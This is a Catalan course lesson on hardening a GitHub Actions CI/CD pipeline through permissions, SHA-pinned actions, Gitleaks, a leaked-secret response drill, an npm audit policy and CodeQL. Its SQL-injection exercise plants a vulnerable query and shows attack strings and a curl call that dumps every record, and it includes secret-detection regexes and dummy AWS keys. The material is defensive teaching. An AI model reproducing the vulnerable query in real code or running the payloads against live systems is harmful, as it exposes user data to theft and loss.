El pipeline que has construït en les quatre lliçons anteriors funciona: prova, construeix, publica, desplega, vigila i reverteix sol. També és, ara mateix, deliberadament permissiu. Té un token amb més permisos dels que necessita, executa codi de tercers que apunta a etiquetes que els seus autors poden moure quan vulguin, no mira mai si hi ha cap secret a l'historial, no sap quines vulnerabilitats arrosseguen les seves dependencies, construeix imatges que ningú no ha escanejat i desplega artefactes l'autenticitat dels quals no verifica.

Això no és un descuit del curs: és l'estat real del 80 % dels pipelines en producció, i és exactament el punt des del qual es fa aquest exercici. Auditaràs la teva pròpia feina, escriuràs la llista del que està malament i ho arreglaràs peça a peça —comprovant cada arranjament amb un atac simulat—. Cometràs un secret expressament per veure com el detector el caça i executar el procediment de resposta complet. Introduiràs una injecció evident per veure com CodeQL la troba. Intentaràs imprimir un secret per veure que surt emmascarat, i després el transformaràs lleugerament per veure que l'emmascarat es trenca. I veuràs, amb un exemple concret i executable, l'atac que fa de pull_request_target el parany més perillós de GitHub Actions.

Contingut

  1. Objectiu, requisits previs i punt de partida
  2. L'auditoria: què està malament al teu pipeline
  3. permissions de mínim privilegi
  4. Fixar les accions per SHA
  5. Detecció de secrets amb Gitleaks
  6. El procediment de resposta davant d'un secret filtrat
  7. SCA: npm audit, Dependabot i la política de severitats
  8. SAST: CodeQL i una vulnerabilitat de debò
  9. Escaneig de la imatge amb Trivy i excepcions que caduquen
  10. SBOM i signatura amb Cosign
  11. Verificar la signatura abans de desplegar
  12. Secrets ben gestionats i els límits de l'emmascarat
  13. El risc del codi de tercers: pull_request_target
  14. La checklist final d'enfortiment
  15. Errors Comuns i Consells
  16. Exercicis
  17. Conclusió

  1. Objectiu, requisits previs i punt de partida

Objectiu. En acabar, el teu pipeline tindrà permisos mínims verificats, accions fixades per SHA, els cinc escaneigs de seguretat amb una política de severitats explícita, un SBOM i una signatura que es verifica abans de desplegar, i cap secret de llarga vida al camí crític.

Requisits previs. Les lliçons 07-01 a 07-04 completades. Docker funcionant.

Punt de partida. El repositori després de la 07-04: ci.yml, cd.yml, rollback.yml, dora.yml, la pila d'observabilitat i els scripts.

git checkout main && git pull
git checkout -b enfortir-pipeline

  1. L'auditoria: què està malament al teu pipeline

Abans d'arreglar res, cal veure-hi. Recorre els teus propis fitxers amb aquesta llista i marca el que hi trobis. És la mateixa llista que faries servir per auditar el pipeline d'un altre equip.

# Eina d auditoria rapida: quines accions fas servir i com estan fixades
grep -rhoP '(?<=uses: ).*' .github/workflows/ | sort -u

# Quins jobs declaren permisos
grep -rn -A3 'permissions:' .github/workflows/

# Quins secrets es fan servir i on
grep -rn 'secrets\.' .github/workflows/
# Troballa On Risc Severitat
1 Jobs sense permissions explícit dora.yml, jobs del cd.yml El GITHUB_TOKEN hereta el permís per defecte del repositori; si està en read and write, qualsevol pas pot escriure al repo, esborrar branques o publicar paquets Alta
2 Accions fixades per tag flotant (@v4) Tots els workflows El propietari de l'acció —o qui li comprometi el compte— pot moure v4 a codi maliciós que s'executarà al teu runner amb els teus secrets Alta
3 Cap escaneig de secrets Tot el repositori Una clau comesa viu a l'historial per sempre i ningú no se n'assabenta Crítica
4 Cap SCA package.json No saps quins CVE arrossegues; better-sqlite3 és un mòdul natiu amb codi C Alta
5 Cap SAST src/ Injeccions i patrons perillosos passen la revisió humana Mitjana
6 La imatge no s'escaneja Dockerfile La base node:20-bookworm-slim acumula CVE del sistema operatiu entre reconstruccions Alta
7 No hi ha SBOM ni signatura Registre No pots respondre «estem afectats pel CVE-X?» ni demostrar que la imatge que desplegues és la que vas construir Mitjana
8 GRAFANA_TOKEN com a secret de repositori cd.yml Credencial de llarga vida accessible des de qualsevol job de qualsevol workflow, inclosos els que encara no has escrit Mitjana
9 Secrets passats per env: a nivell de workflow Diversos Tots els passos els veuen, inclosos els que executen codi de tercers Mitjana
10 Sense política de què trenca el build Cada troballa es discuteix des de zero i acaba ignorant-se Mitjana

Deu troballes en un pipeline que has escrit tu seguint un curs. Això ja és la primera lliçó: la seguretat d'un pipeline no emergeix d'escriure'l bé; s'hi ha d'afegir expressament.

El pla de la lliçó, en ordre de cost creixent i de risc decreixent:

flowchart TD
    A["Auditoria<br/>10 troballes"] --> B["1. permissions<br/>minim privilegi"]
    B --> C["2. Accions per SHA"]
    C --> D["3. Gitleaks<br/>deteccio de secrets"]
    D --> E["4. SCA<br/>npm audit + Dependabot"]
    E --> F["5. SAST<br/>CodeQL"]
    F --> G["6. Trivy<br/>escaneig de la imatge"]
    G --> H["7. SBOM + signatura<br/>Cosign keyless"]
    H --> I["8. Verificar signatura<br/>abans de desplegar"]
    I --> J["Checklist final"]

  1. permissions de mínim privilegi

El GITHUB_TOKEN és una credencial que GitHub injecta a cada job i que caduca en acabar l'execució. El seu abast per defecte depèn d'una configuració del repositori, i en repositoris antics acostuma a ser read and write sobre tot: continguts, issues, packages, deployments, pàgines. Un pas compromès amb aquest token pot empènyer a main.

Pas 1 — tancar l'aixeta per defecte:

Settings → Actions → General → Workflow permissionsRead repository contents and packages permissions. I desmarca Allow GitHub Actions to create and approve pull requests.

gh api --method PUT "repos/{owner}/{repo}/actions/permissions/workflow" \
  -f default_workflow_permissions=read \
  -F can_approve_pull_request_reviews=false

Pas 2 — declarar el permís mínim, a cada workflow i a cada job.

La taula del que necessita cada job del pipeline:

Workflow / job Permisos necessaris Per què
ci.yml (global) contents: read Només clonar
ci.ymlpublicar contents: read, packages: write, id-token: write Escriure a ghcr.io i signar per OIDC
ci.ymlcodeql contents: read, security-events: write, actions: read Pujar resultats a la pestanya Security
cd.yml (global) contents: read
cd.ymlstaging/produccio contents: read, packages: read Descarregar la imatge
cd.ymlweb contents: read, pages: write, id-token: write Publicar a Pages
cd.ymlvigilar contents: read, actions: write Llançar rollback.yml
dora.yml contents: read, deployments: read, actions: read Llegir desplegaments i execucions
rollback.yml contents: read, packages: read

La regla: permissions a nivell de workflow amb el mínim absolut, i ampliació puntual només al job que ho necessita. Un permissions a nivell de workflow substitueix el valor per defecte completament: si hi escrius packages: write, tots els altres permisos passen a none, cosa que és una manera còmoda de descobrir quins feien falta.

# .github/workflows/ci.yml
permissions:
  contents: read      # tota la resta queda en `none`

jobs:
  qualitat:
    # sense bloc `permissions`: hereta contents: read
    ...

  publicar:
    permissions:
      contents: read
      packages: write   # nomes aquest job pot escriure al registre
      id-token: write   # nomes aquest job pot demanar un token OIDC
    ...

Comprovació que falla quan ha de fallar. Treu temporalment packages: write del job publicar i empeny:

ERROR: failed to push ghcr.io/el-teu-usuari/mini-reservalia:sha-8f3c1e2:
denied: installation not allowed to Create organization package

Aquest missatge és enganyós —parla d'«organization package» tot i que sigui el teu compte personal—, i per això val la pena provocar-lo un cop: la propera vegada que el vegis en un pipeline aliè sabràs en tres segons que és un permissions que falta, i no una configuració del registre.

Altres missatges que volen dir el mateix:

Missatge Permís que falta
Resource not accessible by integration Gairebé sempre contents: write, issues: write o pull-requests: write
denied: installation not allowed to Create organization package packages: write
Error: Unable to get ACTIONS_ID_TOKEN_REQUEST_URL id-token: write
HttpError: Resource not accessible by integration en pujar SARIF security-events: write

  1. Fixar les accions per SHA

uses: actions/checkout@v4 vol dir «executa el que hi hagi avui a l'etiqueta v4 del repositori actions/checkout». Una etiqueta de Git es pot moure. Si algú compromet el compte del mantenidor d'una acció popular i mou l'etiqueta, el seu codi s'executa al teu runner, amb accés al teu sistema de fitxers, als teus secrets i al teu GITHUB_TOKEN, a tots els repositoris del món que la facin servir. No és hipotètic: ha passat amb accions molt utilitzades.

Fixar per SHA elimina tota la classe d'atac, perquè un SHA és el contingut.

# Resoldre el SHA d una etiqueta
gh api repos/actions/checkout/git/refs/tags/v4 --jq '.object.sha'

Un script que ho fa per tu a tot el repositori:

#!/usr/bin/env bash
# scripts/fixar-accions.sh
# Substitueix `owner/repo@vX` per `owner/repo@<sha>  # vX` als workflows.
set -Eeuo pipefail

command -v gh >/dev/null || { echo "Cal la CLI de GitHub (gh)"; exit 2; }

for fitxer in .github/workflows/*.yml; do
  echo "== $fitxer"
  # Nomes les accions de repositori (owner/repo@ref); s exclouen
  # les locals (./.github/actions/...) i les de docker://
  grep -oP '(?<=uses: )[\w.-]+/[\w.-]+(?:/[\w.-]+)*@[\w.-]+' "$fitxer" | sort -u | while read -r ref; do
    accio="${ref%@*}"
    versio="${ref#*@}"
    # Si ja son 40 caracters hexadecimals, esta fixada: no tocar.
    [[ "$versio" =~ ^[0-9a-f]{40}$ ]] && continue

    repo="$(cut -d/ -f1,2 <<< "$accio")"
    sha="$(gh api "repos/${repo}/git/refs/tags/${versio}" --jq '.object.sha' 2>/dev/null || true)"
    # Les etiquetes anotades apunten a un objecte tag, no al commit:
    # cal desreferenciar-les.
    if [ -n "$sha" ]; then
      tipus="$(gh api "repos/${repo}/git/tags/${sha}" --jq '.object.sha' 2>/dev/null || true)"
      [ -n "$tipus" ] && sha="$tipus"
    fi
    [ -z "$sha" ] && { echo "  ! no s ha pogut resoldre $ref"; continue; }

    echo "  $ref -> $sha"
    sed -i "s|uses: ${accio}@${versio}\$|uses: ${accio}@${sha} # ${versio}|g" "$fitxer"
  done
done
echo "Fet. Revisa el diff abans de cometre."
chmod +x scripts/fixar-accions.sh
./scripts/fixar-accions.sh
git diff

Què has de veure:

-      - uses: actions/checkout@v4
+      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
-      - uses: actions/setup-node@v4
+      - uses: actions/setup-node@39370e3970a6d050c480ffad4ff0ed4d3fdee5af # v4.1.0

El comentari # v4.2.2 és imprescindible: sense ell, el fitxer es torna il·legible i ningú no sap si està actualitzat. Amb ell, Dependabot pot actualitzar-lo automàticament (apartat següent) i tu el pots llegir.

Com mantenir-ho actualitzat sense feina manual. Fixar per SHA sense automatitzar l'actualització crea un problema diferent: accions congelades durant anys, amb els seus propis bugs i CVE. La solució és Dependabot, que entén el comentari i obre PR amb el SHA nou. .github/dependabot.yml:

version: 2
updates:
  # 1. Les accions de GitHub Actions
  - package-ecosystem: github-actions
    directory: /
    schedule:
      interval: weekly
      day: monday
      time: '06:00'
    open-pull-requests-limit: 5
    commit-message:
      prefix: 'ci'
    labels: ['dependencies', 'ci']

  # 2. Les dependencies de npm
  - package-ecosystem: npm
    directory: /
    schedule:
      interval: weekly
    open-pull-requests-limit: 10
    commit-message:
      prefix: 'deps'
    labels: ['dependencies']
    groups:
      # Agrupar les de desenvolupament en un sol PR: 8 PR de pedacos
      # d eslint per setmana es la manera mes rapida que l equip apreng
      # a ignorar els PR de Dependabot.
      desenvolupament:
        dependency-type: development
        update-types: ['minor', 'patch']
    ignore:
      # Les majors es revisen a ma, no automaticament.
      - dependency-name: '*'
        update-types: ['version-update:semver-major']

  # 3. La imatge base del Dockerfile
  - package-ecosystem: docker
    directory: /
    schedule:
      interval: weekly
    labels: ['dependencies', 'docker']

  1. Detecció de secrets amb Gitleaks

Un secret comès és un secret públic, encara que el repositori sigui privat i encara que l'esborris al commit següent: continua a l'historial, als forks, a les memòries cau dels clients i als mirrors de tercers que rasquen GitHub en temps real. El temps mitjà entre que es publica una clau d'AWS a GitHub i que algú la fa servir es mesura en minuts.

Configuració, .gitleaks.toml:

# .gitleaks.toml
title = "Mini-Reservalia"

# Partim de les ~150 regles per defecte de Gitleaks i hi afegim les nostres.
[extend]
useDefault = true

[[rules]]
id = "token-intern-reservalia"
description = "Token intern de Reservalia (rsv_...)"
regex = '''rsv_[a-zA-Z0-9]{32}'''
tags = ["clau", "intern"]

[[rules]]
id = "url-postgres-amb-contrasenya"
description = "Cadena de connexio de PostgreSQL amb contrasenya"
regex = '''postgres(?:ql)?://[^:\s]+:[^@\s]{6,}@[^\s/]+'''
tags = ["base-dades"]

[allowlist]
description = "Falsos positius coneguts i justificats"
paths = [
  '''package-lock\.json''',          # els integrity hashes semblen claus
  '''(.*?)(jpg|png|webp|pdf)$''',
  '''cursos_contenido/.*\.md$''',
]
regexes = [
  '''EXAMPLE|EXEMPLE|xxxxx|CANVIA_ME|placeholder''',   # valors de documentacio
  '''postgres://postgres:prova@localhost''',           # el de les proves de la 07-02
]

El job:

  secrets:
    name: Deteccio de secrets
    runs-on: ubuntu-latest
    timeout-minutes: 10
    permissions:
      contents: read
      security-events: write
    steps:
      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
        with:
          # fetch-depth: 0 escaneja TOT l historial, no nomes l ultim commit.
          # Es mes lent pero es l unica manera de trobar el que ja hi ha a dins.
          fetch-depth: 0

      - name: Gitleaks
        uses: gitleaks/gitleaks-action@83373cf2f8c4db6e24b41c1a9b086bb9619e9cd3 # v2.3.7
        env:
          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
          GITLEAKS_ENABLE_UPLOAD_ARTIFACT: 'true'
          GITLEAKS_ENABLE_SUMMARY: 'true'

O bé, sense dependre d'una acció de tercers —preferible segons el criteri de la 06-07, «menys superfície de subministrament»—:

      - name: Gitleaks (binari fixat per versio)
        run: |
          set -Eeuo pipefail
          VERSION=8.21.2
          curl -sSL "https://github.com/gitleaks/gitleaks/releases/download/v${VERSION}/gitleaks_${VERSION}_linux_x64.tar.gz" \
            | tar -xz gitleaks
          ./gitleaks detect \
            --source . \
            --config .gitleaks.toml \
            --report-format sarif \
            --report-path resultats-gitleaks.sarif \
            --redact \
            --verbose \
            --exit-code 1
          # --redact: els secrets NO apareixen al log del pipeline.
          # Sense aixo, el detector de secrets publica el secret en un log
          # que pot llegir qualsevol amb acces al repositori.

      - name: Pujar resultats a la pestanya Security
        if: always()
        uses: github/codeql-action/upload-sarif@f09c1c0a94de965c15400f5634aa42fac8fb8f88 # v3.27.5
        with:
          sarif_file: resultats-gitleaks.sarif
          category: gitleaks

Aquest --redact és un detall que s'oblida constantment i que converteix l'eina en el seu propi problema: sense ell, el log del job mostra la clau sencera, i els logs d'Actions són visibles per a tots els col·laboradors i es retenen 90 dies.

Afegeix-lo també com a hook local, perquè detectar-ho a CI vol dir que ja està empès:

npm install --save-dev husky
npx husky init
cat > .husky/pre-commit <<'EOF'
#!/usr/bin/env sh
# Escaneja NOMES el que es cometra: rapid (< 1 s).
if command -v gitleaks >/dev/null 2>&1; then
  gitleaks protect --staged --config .gitleaks.toml --redact --verbose || {
    echo ""
    echo "❌ S ha detectat un possible secret als canvis preparats."
    echo "   Treu-lo del codi i fes servir una variable d entorn o un secret del repositori."
    echo "   Si es un fals positiu, afegeix-lo a l allowlist de .gitleaks.toml."
    exit 1
  }
fi
npm run lint && npm test
EOF
chmod +x .husky/pre-commit

  1. El procediment de resposta davant d'un secret filtrat

Ara la part de l'exercici que de debò ensenya. Filtrarem un secret expressament.

git checkout -b filtrar-secret-de-prova

cat > src/config-temporal.js <<'EOF'
// FITXER DE PROVA - s esborrara. NO es un secret real.
export const CONFIG = {
  // Clau d AWS amb el format exacte que busquen els detectors.
  awsAccessKeyId: 'AKIAIOSFODNN7EXAMPLE',
  awsSecretAccessKey: 'wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY',
  tokenIntern: 'rsv_a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6',
  baseDades: 'postgres://admin:[email protected]:5432/reservalia',
};
EOF

git add src/config-temporal.js
git commit -m "feat: configuracio temporal"   # el hook ho bloqueja si el vas instal·lar

Si el hook ho bloqueja, això ja és mitja lliçó. Salta-te'l expressament per veure la resta del flux:

git commit --no-verify -m "feat: configuracio temporal"
git push -u origin filtrar-secret-de-prova
gh pr create --fill

Què has de veure:

  1. El job Deteccio de secrets en vermell.
  2. Al log, amb --redact:
    Finding:     awsAccessKeyId: 'REDACTED'
    Secret:      REDACTED
    RuleID:      aws-access-token
    File:        src/config-temporal.js
    Line:        5
    Commit:      3f8a1c2...
    Author:      El Teu Nom
    ...
    4 leaks found
    
  3. A la pestanya Security → Code scanning, quatre alertes noves amb la categoria gitleaks, cadascuna ancorada a la seva línia.
  4. La comprovació CI OK en vermell i el PR bloquejat.

El procediment, en l'ordre correcte

Aquest és el contingut de la lliçó. L'ordre no és negociable i gairebé tothom ho fa al revés.

flowchart TD
    D["Deteccio"] --> R1["1. ROTAR<br/>invalidar la credencial<br/>minuts"]
    R1 --> R2["2. INVESTIGAR<br/>revisar accessos amb aquesta credencial"]
    R2 --> R3["3. NETEJAR<br/>reescriure historial<br/>hores o dies"]
    R3 --> R4["4. PREVENIR<br/>hook + CI + formacio"]
    R4 --> R5["5. POST-MORTEM<br/>sense buscar culpables"]

Pas 1 — ROTAR. Primer, i ja.

Invalida la credencial al sistema que la va emetre. A AWS: desactivar la clau i crear-ne una de nova. En un proveïdor: revocar el token. En una base de dades: canviar la contrasenya.

# Exemple amb AWS (equivalent de Reservalia)
aws iam update-access-key --access-key-id AKIA... --status Inactive --user-name servei-ci
aws iam create-access-key --user-name servei-ci
# ...actualitzar el secret a GitHub...
aws iam delete-access-key --access-key-id AKIA... --user-name servei-ci

# A GitHub
gh secret set AWS_ACCESS_KEY_ID --body "AKIA_NOVA"

Per què primer. Perquè netejar l'historial no invalida res. Mentre la credencial continuï sent vàlida, continua sent utilitzable per qualsevol que ja l'hagi copiada —i els bots que rasquen GitHub la van copiar els primers minuts—. Reescriure l'historial és una tasca d'hores que a més requereix coordinar tot l'equip; rotar són dos minuts. Cada minut que dediques a netejar abans de rotar és un minut en què la porta continua oberta.

Hi ha un matís important que reforça l'ordre: reescriure l'historial avisa l'atacant. Un force-push que esborra un commit és un senyal clar de «ens n'hem adonat». Si encara no has rotat, acabes de donar-li pressa.

Pas 2 — INVESTIGAR l'ús.

# AWS CloudTrail: que es va fer amb aquesta clau i des d on
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=AccessKeyId,AttributeValue=AKIA... \
  --start-time "$(date -u -d '30 days ago' +%Y-%m-%dT%H:%M:%SZ)" \
  --max-results 50

Preguntes a respondre: es va fer servir des d'una IP desconeguda? Es van crear recursos? Es va accedir a dades? Si la resposta a qualsevol d'elles és sí, això deixa de ser un incident de seguretat del pipeline i passa a ser una bretxa, amb les obligacions legals que corresponguin.

Pas 3 — NETEJAR l'historial.

# git-filter-repo es l eina recomanada (filter-branch esta obsoleta)
pip install git-filter-repo

# Opcio A: eliminar el fitxer sencer de tot l historial
git filter-repo --path src/config-temporal.js --invert-paths --force

# Opcio B: substituir nomes els valors, conservant els fitxers
cat > /tmp/substitucions.txt <<'EOF'
AKIAIOSFODNN7EXAMPLE==>ROTAT-VEURE-INCIDENT-42
wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY==>ROTAT-VEURE-INCIDENT-42
SuperSecreta2026==>ROTAT-VEURE-INCIDENT-42
EOF
git filter-repo --replace-text /tmp/substitucions.txt --force

# Reescriure el remot (COORDINA-HO amb tot l equip abans)
git remote add origin https://github.com/EL_TEU_USUARI/mini-reservalia.git
git push origin --force --all
git push origin --force --tags

I el que gairebé ningú no fa, tot i que és el que tanca el forat de debò:

# Els PR, issues i comentaris que citen el commit conserven copies.
# La memoria cau de GitHub tambe. Cal demanar a suport que la purgui:
#   https://support.github.com/contact  -> "Remove cached views"
# A mes: cada FORK del repositori conserva el commit SENCER,
# i tu no pots esborrar els forks d altres persones.

Aquesta darrera realitat és la que justifica tot l'ordre anterior. Un secret que ha estat en un repositori amb forks no es pot esborrar. Només es pot rotar.

Pas 4 — PREVENIR. El hook de pre-commit, el job de CI, l'escaneig de tot l'historial una vegada, i la formació de l'equip sobre on van els secrets.

Pas 5 — POST-MORTEM sense culpables. La pregunta correcta no és «qui va cometre la clau?» sinó «per què era possible?». I les respostes solen ser sistèmiques: no hi havia hook, el .gitignore no cobria el fitxer de configuració, el flux local exigia escriure la clau en un fitxer, ningú no havia explicat on anaven els secrets. Totes tenen arranjament; «vés amb més compte» no en té.

Neteja l'exercici:

git checkout main
git branch -D filtrar-secret-de-prova
git push origin --delete filtrar-secret-de-prova
gh pr close <numero> 2>/dev/null || true

  1. SCA: npm audit, Dependabot i la política de severitats

L'anàlisi de composició de programari (SCA) busca vulnerabilitats conegudes a les teves dependencies. Mini-Reservalia en té poques, però better-sqlite3 arrossega codi natiu i l'arbre de desenvolupament té més de cent paquets.

npm audit --json | jq '.metadata.vulnerabilities'
# { "info": 0, "low": 2, "moderate": 1, "high": 0, "critical": 0, "total": 3 }

El problema de npm audit --audit-level=high a seques és que tracta igual una vulnerabilitat crítica en producció i una de moderada en una eina de desenvolupament que mai no s'executa amb dades d'usuari. El resultat previsible: el build es trenca per alguna cosa irrellevant, algú afegeix || true, i l'escaneig deixa d'existir.

La política, explícita i al repositori. seguretat/POLITICA.md:

# Política de severitats

| Severitat | Producció | Desenvolupament | Acció | Termini |
|---|---|---|---|---|
| **Crítica** | Trenca el build | Trenca el build | Bloqueig immediat | 24 h |
| **Alta** | Trenca el build | Obre un tiquet | Bloqueig en producció | 7 dies |
| **Mitjana** | Obre un tiquet | Obre un tiquet | No bloqueja | 30 dies |
| **Baixa** | Informa | Informa | Revisió trimestral | — |

**Excepcions.** Tota excepció requereix: (a) justificació escrita,
(b) data de caducitat no superior a 90 dies, (c) aprovació d'un segon
revisor. Es registren a `seguretat/excepcions.json` i **caduquen soles**:
passada la data, el build torna a trencar-se.

**Sense `|| true`.** Si un escaneig no pot trencar el build, no és un control.
Si alguna cosa no l'ha de trencar, es decideix aquí, no al YAML.

La implementació amb jq, scripts/auditar-dependencies.sh:

#!/usr/bin/env bash
# Aplica la politica de severitats sobre `npm audit --json`.
set -Eeuo pipefail

INFORME="${INFORME:-informes/audit.json}"
EXCEPCIONS="${EXCEPCIONS:-seguretat/excepcions.json}"
mkdir -p "$(dirname "$INFORME")"

# `|| true`: npm audit surt amb codi != 0 quan troba alguna cosa.
# Aqui NO ignorem el resultat: el processem nosaltres amb la politica.
npm audit --json > "$INFORME" 2>/dev/null || true

AVUI="$(date -u +%Y-%m-%d)"

# --- Excepcions vigents (les caducades s ignoren expressament) ---------------
VIGENTS='[]'
if [ -f "$EXCEPCIONS" ]; then
  VIGENTS=$(jq --arg avui "$AVUI" '[.excepcions[] | select(.caduca >= $avui) | .id]' "$EXCEPCIONS")
  CADUCADES=$(jq --arg avui "$AVUI" '[.excepcions[] | select(.caduca < $avui)]' "$EXCEPCIONS")
  N_CADUCADES=$(jq 'length' <<< "$CADUCADES")
  if [ "$N_CADUCADES" -gt 0 ]; then
    echo "::warning::$N_CADUCADES excepcio(ns) de seguretat han caducat i tornen a bloquejar:"
    jq -r '.[] | "  - \(.id): \(.motiu) (va caducar el \(.caduca))"' <<< "$CADUCADES"
  fi
fi

# --- Classificar les troballes ----------------------------------------------
BLOQUEJANTS=$(jq --argjson exc "$VIGENTS" '
  [ .vulnerabilities // {} | to_entries[]
    | select(.value.severity == "critical" or .value.severity == "high")
    | select((.value.isDirect == true) or (.value.effects | length) > 0)
    | select((.key | IN($exc[])) | not)
    | { paquet: .key, severitat: .value.severity, via: (.value.via | map(if type=="object" then .title else . end)) }
  ]' "$INFORME")

N_BLOQ=$(jq 'length' <<< "$BLOQUEJANTS")
RESUM=$(jq -r '.metadata.vulnerabilities | "critiques: \(.critical) · altes: \(.high) · mitjanes: \(.moderate) · baixes: \(.low)"' "$INFORME")

{
  echo "## Auditoria de dependencies"
  echo ""
  echo "**Resum:** $RESUM"
  echo ""
  if [ "$N_BLOQ" -gt 0 ]; then
    echo "### ❌ $N_BLOQ troballa/es bloquejant(s)"
    echo ""
    echo "| Paquet | Severitat | Detall |"
    echo "|---|---|---|"
    jq -r '.[] | "| `\(.paquet)` | \(.severitat) | \(.via | join(", ") | .[0:90]) |"' <<< "$BLOQUEJANTS"
  else
    echo "### ✅ Sense troballes bloquejants segons la política"
  fi
  echo ""
  echo "> Política completa a [\`seguretat/POLITICA.md\`](seguretat/POLITICA.md)"
} >> "${GITHUB_STEP_SUMMARY:-/dev/stdout}"

if [ "$N_BLOQ" -gt 0 ]; then
  echo "::error::$N_BLOQ vulnerabilitat(s) critica(es)/alta(es) sense excepcio vigent"
  jq -r '.[] | "  - \(.paquet) [\(.severitat)]"' <<< "$BLOQUEJANTS"
  exit 1
fi
echo "Auditoria superada: $RESUM"

seguretat/excepcions.json:

{
  "$comentari": "Excepcions de seguretat. Cadascuna CADUCA. Vegeu seguretat/POLITICA.md.",
  "excepcions": [
    {
      "id": "exemple-paquet",
      "severitat": "high",
      "motiu": "Només afecta l'anàlisi de fitxers SVG pujats per l'usuari; Mini-Reservalia no accepta pujades. Encara no hi ha pedaç (upstream #1234).",
      "aprovat_per": "@marta",
      "creada": "2026-04-10",
      "caduca": "2026-07-09",
      "revisio": "Comprovar si upstream ha publicat el pedaç"
    }
  ]
}

Tres propietats que fan que aquesta política sobrevisqui al contacte amb un equip real:

  1. Les excepcions caduquen soles. Passada la data, el build torna a trencar-se i surt un avís. Una excepció sense caducitat és un || true amb millor presentació.
  2. Es distingeix producció de desenvolupament. Un CVE en una eina de build és un risc real (podria comprometre la cadena de subministrament), però no el mateix que un en codi que processa peticions d'internet.
  3. Són al repositori. Es revisen en un PR, tenen autor i data, i qualsevol pot auditar per què es va acceptar cada risc.

  1. SAST: CodeQL i una vulnerabilitat de debò

L'anàlisi estàtica de seguretat busca patrons perillosos al teu codi, no al dels altres. CodeQL és gratuït en repositoris públics.

  codeql:
    name: SAST (CodeQL)
    runs-on: ubuntu-latest
    timeout-minutes: 20
    permissions:
      contents: read
      security-events: write
      actions: read
    steps:
      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2

      - name: Inicialitzar CodeQL
        uses: github/codeql-action/init@f09c1c0a94de965c15400f5634aa42fac8fb8f88 # v3.27.5
        with:
          languages: javascript-typescript
          # `security-extended` afegeix consultes de menys precisio pero mes
          # cobertura. En un projecte petit el soroll es assumible; en un de
          # gran, comenca per `security-and-quality` i puja des d aqui.
          queries: security-extended

      - name: Analitzar
        uses: github/codeql-action/analyze@f09c1c0a94de965c15400f5634aa42fac8fb8f88 # v3.27.5
        with:
          category: '/language:javascript-typescript'

Ara introdueix una vulnerabilitat evident per comprovar que l'escàner serveix. A src/repositori-sqlite.js, afegeix un mètode deliberadament dolent:

  /**
   * VULNERABLE EXPRESSAMENT - exercici de la llico 07-05.
   * Concatena l entrada de l usuari a la consulta SQL.
   */
  cercarPerClient(nom) {
    // ❌ INJECCIO SQL: `nom` ve d un parametre de la peticio.
    //    Amb nom = "' OR '1'='1" es retornen TOTES les cites.
    //    Amb nom = "'; DROP TABLE cites; --" es perd la taula.
    return this.#db.prepare(`SELECT * FROM cites WHERE client = '${nom}'`).all();
  }

I a src/servidor.js, la ruta que l'exposa (perquè CodeQL vegi el camí complet des de l'entrada de l'usuari fins a la consulta, que és el que busca la seva anàlisi de flux de dades):

      if (req.method === 'GET' && url.pathname === '/api/cercar') {
        const nom = url.searchParams.get('client') ?? '';
        // ❌ `nom` va sense sanejar a una consulta construida per concatenacio
        return respondreJson(res, 200, { resultats: repositori.cercarPerClient(nom) });
      }

Empeny en un PR i espera l'anàlisi (2-4 minuts).

Què has de veure a Security → Code scanning:

Database query built from user-controlled sources                    High
src/repositori-sqlite.js:52

This query depends on a user-provided value.
  ← flows from: url.searchParams.get('client')  (src/servidor.js:78)

Clica a l'alerta: CodeQL dibuixa el camí complet des del paràmetre de la petició fins a la consulta. Aquesta anàlisi de flux de dades és el que distingeix el SAST d'una expressió regular: no busca la cadena SELECT ... ${, busca que un valor controlat per l'usuari arribi fins a un abocador perillós, encara que passi per tres funcions i dos fitxers.

Demostra't l'impacte abans d'arreglar-ho:

npm start &
curl -s "localhost:3000/api/cercar?client=Anna"
# {"resultats":[{"id":1,"client":"Anna",...}]}

curl -s "localhost:3000/api/cercar?client=%27%20OR%20%271%27=%271"
# {"resultats":[ ...TOTES les cites de TOTS els clients... ]}

L'arranjament:

  /**
   * Cerca cites pel nom exacte del client.
   * Sentencia PREPARADA amb parametre: el motor tracta el valor com a DADA,
   * mai com a SQL. La injeccio es impossible per construccio, no per
   * sanejat. Sanejar es un pedac; parametritzar es la solucio.
   */
  cercarPerClient(nom) {
    if (typeof nom !== 'string' || nom.length === 0 || nom.length > 80) {
      throw new TypeError('nom de client invalid');
    }
    return this.#db
      .prepare('SELECT id, data, inici, fi, client FROM cites WHERE client = ? ORDER BY data, inici')
      .all(nom);
  }

I una prova que impedeix la regressió:

// test/injeccio.test.js
import test, { describe, beforeEach } from 'node:test';
import assert from 'node:assert/strict';
import { RepositoriSqlite } from '../src/repositori-sqlite.js';

describe('resistencia a la injeccio SQL', () => {
  let repo;
  beforeEach(() => {
    repo = new RepositoriSqlite(':memory:');
    repo.crearCita({ data: '2026-03-02', inici: '10:00', fi: '10:30', client: 'Anna' });
    repo.crearCita({ data: '2026-03-02', inici: '11:00', fi: '11:30', client: 'Diego' });
  });

  test("' OR '1'='1 no retorna totes les files", () => {
    assert.deepEqual(repo.cercarPerClient("' OR '1'='1"), []);
  });

  test('un DROP TABLE injectat no destrueix res', () => {
    repo.cercarPerClient("'; DROP TABLE cites; --");
    assert.equal(repo.llistarCites('2026-03-02').length, 2); // la taula continua alli
  });

  test('un nom amb cometa simple es cerca literalment', () => {
    repo.crearCita({ data: '2026-03-03', inici: '10:00', fi: '10:30', client: "O'Brien" });
    assert.equal(repo.cercarPerClient("O'Brien").length, 1);
  });
});

Aquesta darrera prova és la que demostra que has parametritzat i no escapat: amb un sanejat casolà que esborra cometes, O'Brien no es trobaria mai.

Empeny l'arranjament i observa com l'alerta passa a Closed a la pestanya Security, amb la nota «Fixed in commit ...».

  1. Escaneig de la imatge amb Trivy i excepcions que caduquen

La teva imatge no és només el teu codi: és Debian, OpenSSL, glibc, el runtime de Node i tot el que arrosseguen. Aquestes capes acumulen CVE sense que tu canviïs una línia.

